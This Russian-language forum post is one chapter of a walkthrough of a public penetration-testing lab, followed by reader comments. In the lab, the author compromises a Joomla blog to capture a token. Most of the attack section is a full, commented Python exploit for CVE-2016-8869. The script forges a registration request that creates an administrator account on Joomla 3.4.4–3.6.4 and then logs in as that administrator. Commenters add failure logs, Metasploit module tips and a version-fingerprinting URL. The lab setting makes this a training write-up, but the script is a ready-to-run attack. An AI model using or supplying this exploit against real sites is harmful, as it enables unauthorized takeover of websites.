• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Лаборатория тестирования на проникновения «Test lab v.10» — за гранью хакерских возможностей (9)

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Глава 9
Предыдущая глава
Следующая глава
Оглавление

Снимок.PNG


Доброго времени суток колеги) Сегодня продолжим наш завлекательный пентест и возьмем очередной токен от машины на топологии сети с адресом 192.168.0.4 (Blog):

111.PNG


С этой статьи вы научитесь пользоваться публичными уязвимостями известных (систем управления контентом) И конкретно в нашем примере будем атаковать одну из уязвимостей
Ну что же начнем:
Пробросим порт:

01.PNG


Откроем в браузере наш сайт и сразу же в глаза бросается иконка от Joomla CMS

1.PNG


Что бы удостоверится глянем исходный код страницы:

2.PNG


Видим и вправду Joomla. Еще так же можно узнать CMS(но не всегда) с помощью консольной утилиты whatweb:

3.PNG


В метасплоите сканером версий Joomla CMS попробуем узнать версию СMS:

4.PNG


Следующим этапом будет поиск возможных уязвимостей или експлойтов под данную версию,и первая же ссылка в гугле выдает нам свежие експлойты за 2016 год:

5.PNG


Но тут версия уязвимой CMS меньше... И по этому загрузка шелла в этой версии не отработает что было предусмотрено этим експлойтом,но учетная запись администратора с легкостью из-за отсутствие проверки входных данных в Joomla_URL/index.php/component/users/?task=user.register
что дает возможность злоумышленнику отослал форму регистрацию POST запросом создать учетную запись администратора.

После недавнего обновления в метасплоите появился этот эксплойт. И можно воспользоватся и ним,и его легко можно увидеть выполнить поиск по ключевому слову Joomla в метасплоите:

002.PNG


Но я хочу показать как сделал его я.
Я взял кусок кода с утилиты Joomra на гитхабе и немного изменил , попытаюсь прокомментировать этот код скрипта:

Python:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import sys #Стандартная Библиотека,будет используватся для вывода на экран банера
import re  #Стандартная Библиотека,используется для регулярных выражений,будет задействована при поиске CSRF токена в HTML коде страницы
import argparse  #Стандартная Библиотека,будет использоватся для создания парсера опций нашего скрипта
import random    #Стандартная Библиотека,будет задействована для вывода на экран банера
import time         #Стандартная Библиотека,будет задействована для вывода на экран банера
import requests  #Стандартная Библиотека,будет задействована для создание HTTP запросов
from termcolor import colored #Нестандартная библиотека,будет задействованна для разкраски вывода,ставиться командой pip install termolor

#Функция для создание парсера опций нашего скрипта
def parse_options():
    parser = argparse.ArgumentParser(description='Joomla 3.4.4 - 3.6.4 CVE-2016-8869 Exploit от DarkNode для Codeby.Net',epilog="Контакная ифнормация:\n http://vk.com/corpofhack")
    parser.add_argument('url', help='Адрес URL для Joomla CMS')
    parser.add_argument('-u','--username', default='codeby',help='Логин для регистрации  Администратора')
    parser.add_argument('-p','--password',  default='1337',help='Пароль для регистрации Администратора')
    parser.add_argument('-e','--email', default='DarkNode@codeby.net',help='Ваш Email')
    return parser.parse_args()

#Функция для извлечения CSRF токена в HTML странице
def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print("[!] Не смог найти CSRF token")
        return None
    return match.group(1)

#Функция для создания необзодимого пост запроса и доставки его на веб сервер
def create_user(options, sess, token): #Принимает на вход опции взятые из парсера, открытую сессию,и токен
    """
    Создание учетной записи администратора через CVE
    """
    data = {
        # Пользовательский обьект
        'user[name]': options.username,
        'user[username]': options.username,
        'user[password1]': options.password,
        'user[password2]': options.password,
        'user[email1]': options.email,
        'user[email2]': options.email,
        'user[groups][]': '7',    # 7 = Группа Администраторы
        'user[activation]': '0',
        'user[block]': '0',

        # Данные формы
        'form[name]': options.username,
        'form[username]': options.username,
        'form[password1]': options.password,
        'form[password2]': options.password,
        'form[email1]': options.email,
        'form[email2]': options.email,
        'form[option]': 'com_users',
        'form[task]': 'user.register',
        token: '1',
    }#Дальше идет сам процес взлома,данные для регистрации пользователя отсылаются на сервер.
    return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False, verify=False)

#Функция которая пытается залогинится от админа
def try_admin_login(options, sess):
    admin_url = options.url + '/administrator/index.php'
    print('[...] Получение токена для логина Администратора')
    resp = sess.get(admin_url, verify=False)
    token = extract_token(resp)
    if not token:
        return False
    print('[*] Входим в админ панель...')
    data = {
        'username': options.username,
        'passwd': options.password,
        'task': 'login',
        token: '1'
    }
    resp = sess.post(admin_url, data=data, verify=False)
    if 'task=profile.edit' not in resp.text:
        print('[!] Попытка входа под Администратором неудачная!')
        return
    print(colored('[+] Успешный вход в админ панель!','cyan'))
    return True

#Функция  самого хека джумлы
def pwn_joomla(options):
    sess = requests.Session()
    print("[...] Получение CSRF токена")
    resp = sess.get(options.url + "/index.php/component/users/?view=login", verify=False)
    token = extract_token(resp)
    if not token:
        return False
    print colored("[!] Создание учетной записи Администратора","red")
    resp = create_user(options, sess, token)
    can_login = try_admin_login(options, sess)
    if not can_login:
        # TODO: periodically check if we can login as admin
        print("[-] Проверьте почту для активации аккаунта")
        try:
            resp = raw_input('[?] Нажмите любую клавиши после активации аккаунта')
        except KeyboardInterrupt:
            return False
        can_login = try_admin_login(options, sess)
        if not can_login:
            return False
    print colored("[+] УСПЕШНО CОЗДАНА УЧЕТНАЯ ЗАПИСЬ АДМИНИСТРАТОРА[+]","green")
    print "Используйте логин: " + colored(options.username,"yellow")+" и пароль: "+colored(options.password,"yellow")+" для входа в Панель Администратора"

#Вывод банера

def print_logo():
    clear = "\x1b[0m"
    colors = [31, 32, 33, 34, 35, 36]

    logo = """
=====================================================================

  ####   ####  #####  ###### #####  #   #     #    # ###### #####
#    # #    # #    # #      #    #  # #      ##   # #        #
#      #    # #    # #####  #####    #       # #  # #####    #
#      #    # #    # #      #    #   #   ### #  # # #        #
#    # #    # #    # #      #    #   #   ### #   ## #        #
####   ####  #####  ###### #####    #   ### #    # ######   #
              ____             _    _   _           _  
              |  _ \  __ _ _ __| | _| \ | | ___   __| | ___
              | | | |/ _` | '__| |/ /  \| |/ _ \ / _` |/ _ \
              | |_| | (_| | |  |   <| |\  | (_) | (_| |  __/
              |____/ \__,_|_|  |_|\_\_| \_|\___/ \__,_|\___|
              **********************************************           
              +-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
              |J|o|o|m|l|a| |C|M|S| |e|x|p|l|o|i|t|
              +-+-+-+-+-+-+ +-+-+-+ +-+-+-+-+-+-+-+
              Joomla 3.4.4 - 3.6.4 (CVE-2016-8869)
                            contacts:
          https://codeby.net/tags/darknode-tutorial/
=====================================================================
"""
    for line in logo.split("\n"):
        sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
        time.sleep(0.05)

#Главная функция
def main(base_url):
    options = parse_options()
    print_logo()
    if pwn_joomla(options):
        print("[+] УСПЕХ!!!:", options.url)
    else:
        pass

if __name__ == "__main__":
    sys.exit(main("http://127.0.0.1/"))
Надеюсь тут понятно более мение,если что , спрашивайте - попытаюсь ответить в комментариях :)
Ну а дальше профит:

6.PNG


7.PNG


Входим в админку...Смотрим ,есть статья одна не опубликованная

8.PNG


Смотрим Alias - там что то похоже на токен)

9.PNG


Проверяем:

10.PNG


Токен взят)
Вот видосик:


Предыдущая глава
Следующая глава
Оглавление
 
D

Dmitry88

Я так понял это более расширенный скрипт для взлома других джумл. Так как в лабе авторизация по мейлу не нужна. Я использовал готовый модуль метасплойта (действительно после болезненного обновления вручную, его добавили). Достаточно было вписать рандомный мейл. Даже активировать не пришлось, сразу зашел в админку после выполнения скрипта.
ПС: ОФФТОП: а чем ascii рисунки рисуете ? Ручками или утилитками?
 
  • Нравится
Реакции: <~DarkNode~>
D

desp

Хмм, пробую на Joomla! 3.6.5 Stable [ Noether ] 1-December-2016 22:46 GMT -
[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
[-] Check email for activation code
[?] Press any key after activation
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
Собственно пользователь не создается.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Так как в лабе авторизация по мейлу не нужна. Я использовал готовый модуль метасплойта (действительно после болезненного обновления вручную, его добавили). Достаточно было вписать рандомный мейл. Даже активировать не пришлось, сразу зашел в админку после выполнения скрипта.
Поля мейл не всегда нужно активировать,это всего лишь обезательно поле для формы регистрации аккаунта.
ПС: ОФФТОП: а чем ascii рисунки рисуете ? Ручками или утилитками?
Картинки онлайн сервисами,первые две ссылке в гугле:
и
Текст - утилитой // apt-get install figlet
[doublepost=1484219879,1484219783][/doublepost]
Хмм, пробую на Joomla! 3.6.5 Stable [ Noether ] 1-December-2016 22:46 GMT -
[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
[-] Check email for activation code
[?] Press any key after activation
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
Собственно пользователь не создается.
Могу предположить что метасплоит в лаборатории определил не верно версию,хотя лично мною не проверялось на Joomla 3.6.5 Stable. Так что , это пока только предположение...
 
  • Нравится
Реакции: RESPECT
C

cutoff

Но тут версия уязвимой CMS меньше... И по этому загрузка шелла в этой версии не отработает что было предусмотрено этим експлойтом,но учетная запись администратора с легкостью из-за отсутствие проверки входных данных в Joomla_URL/index.php/component/users/?task=user.register
что дает возможность злоумышленнику отослал форму регистрацию POST запросом создать учетную запись администратора.
вот тут непонятна логика) по уязвимы версии джумлы < 3.6.4 именно для повышения прав при регистрации,что не подходит под данный случай, однако все сработало, скорее всего из-за ошибки в определении версии, либо создатели лабы специально оставили дырку
[doublepost=1484220864,1484220750][/doublepost]
Хмм, пробую на Joomla! 3.6.5 Stable [ Noether ] 1-December-2016 22:46 GMT -
[-] Getting token
[-] Creating user account
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
[-] Check email for activation code
[?] Press any key after activation
[-] Getting token for admin login
[-] Logging in to admin
[!] Admin Login Failure!
Собственно пользователь не создается.
дата публикации эксплоита - 27 октября, дата релиза - 1 декабря
 
  • Нравится
Реакции: <~DarkNode~>
D

desp

Могу предположить что метасплоит в лаборатории определил не верно версию,хотя лично мною не проверялось на Joomla 3.6.5 Stable. Так что , это пока только предположение...

Не через meta делал, просто собрал отдельный python скрипт, вырезав все что связанно с заливкой. По логам сервера, запросы post проходят, но выхлопа 0. Жалко :-(
P.S.
Пока писал, уважаемый cutoff скорее всего верно написал: для 3.6.5 - не пройдет.
 
  • Нравится
Реакции: <~DarkNode~>
R

Rtjit

Как скоро ждать новый пост в котором будет про повышение привилегий?
 
Последнее редактирование модератором:

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Как скоро ждать новый пост в котором будет про повышение привилегий?
Возможно будет рубрика :
Обзор Эксплоитов
Тогда будет в одном из постов обзор конкретно этого эксплоита...
Пока эта серия постов посвященна прохождению публичной пентест лаборатрии.
 

w3n0m41k

Green Team
30.10.2016
68
46
BIT
0
спасибо за очередную главу оч понравилось многое начинаешь понимать только симпатий не хватает посмотреть код(
[doublepost=1484403254,1484403147][/doublepost]
Возможно будет рубрика :
Обзор Эксплоитов
Тогда будет в одном из постов обзор конкретно этого эксплоита...
Пока эта серия постов посвященна прохождению публичной пентест лаборатрии.
будет здорово сейчас очень интересует статья про взятие токена на win-term машине
 
  • Нравится
Реакции: Rtjit и <~DarkNode~>
R

Rtjit

Возможно будет рубрика :
Обзор Эксплоитов
Тогда будет в одном из постов обзор конкретно этого эксплоита...
Пока эта серия постов посвященна прохождению публичной пентест лаборатрии.
Жаль, а то я первый пост начал читать, а там и про повышение привилегий тоже было сказано. Ну да ладно, все равно очень интересная серия постов.
 
S

Sinistra

Господи! Это о***ено!
Спасибо за статью, только у меня симпатий не хватает...поставил в закладки.
[doublepost=1484208817,1484200635][/doublepost]
Спасибо, так намного понятнее :)

~~DarkNode~~ один из немногих (если не единственный) в Рунете, кто очень четко и наглядно объясняет новичкам как проходить Лабораторию Pentestit и получить первоначальные навыки по проникновению сразу на хорошем уровне. Честь ему и хвала, это очень хорошее дело.
[doublepost=1484510878][/doublepost]Забавно, мне joomraa не понадобилась, вбил user user и меня пустило в настройки аккаунта, в административную панель вошел так же. Видимо не так часто откатывают сервер.

P.s. Быстрый способ узнать версию joomla - добавить после адреса в url /language/en-GB/en-GB.xml
 

Вложения

  • codeby.jpg
    codeby.jpg
    27 КБ · Просмотры: 259
D

Dmitry88

Ребята, извините за оффтопик, но застрял на последнем задании (cloud server). Не могу к нему подключиться. После того как зашел на ssh e.lindsey, не могу пробросить порты к клауду. Пинг есть, nmap показывает 2 порта но они закрыты ( я так понимаю из-за фаервола). Попытка подключения по ssh с e.lindsey на клауд тоже ничего не дала. Пишет permission denied , disconnected from server.
Что я делаю не так ?
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
Ребята, извините за оффтопик, но застрял на последнем задании (cloud server). Не могу к нему подключиться. После того как зашел на ssh e.lindsey, не могу пробросить порты к клауду. Пинг есть, nmap показывает 2 порта но они закрыты ( я так понимаю из-за фаервола). Попытка подключения по ssh с e.lindsey на клауд тоже ничего не дала. Пишет permission denied , disconnected from server.
Что я делаю не так ?
cloud береться после взятие Win Term.
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 099
BIT
0
win term и dc0 есть. Логин и пароль rross для ssh на 2222 порту есть.Может еще rsa ключ нужен?
Зашел проверить:

e.lindsey@tl10-ssh:~$ nmap -Pn 172.16.0.3 -p 2222

Starting Nmap 6.00 ( ) at 2017-01-16 12:51 MSK
Nmap scan report for 172.16.0.3
Host is up (0.0011s latency).
PORT STATE SERVICE
2222/tcp closed EtherNet/IP-1

Возможно ,кто то уронил после рутирования машины...
Нужно писать адиннам лабы - что бы проверили работоспособность таска:
А на вин-терме сказано , что клауд работает по учеткой рроса на 2222 порту...
Так что должен работать порт 2222
 
  • Нравится
Реакции: Dmitry88
F

flugegeheimen

Делаю поиск по ключевому слову joomla, не находит joomla_registration_privesc. Из-за чего нет возможности использовать этот эксплойт.
В чем может быть дело?
 
D

Dmitry88

Делаю поиск по ключевому слову joomla, не находит joomla_registration_privesc. Из-за чего нет возможности использовать этот эксплойт.
В чем может быть дело?
Обнови базу метасплойта (лично я обновлял вручную, мануалы есть в сети) (apt-get update не всегда помогает)
 
F

flugegeheimen

Обнови базу метасплойта (лично я обновлял вручную, мануалы есть в сети) (apt-get update не всегда помогает)
спасибо, с этим разобрался
но возникла новая проблема, может кто сможет ответить
 

Вложения

  • Выделение_058.png
    Выделение_058.png
    63,3 КБ · Просмотры: 438
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!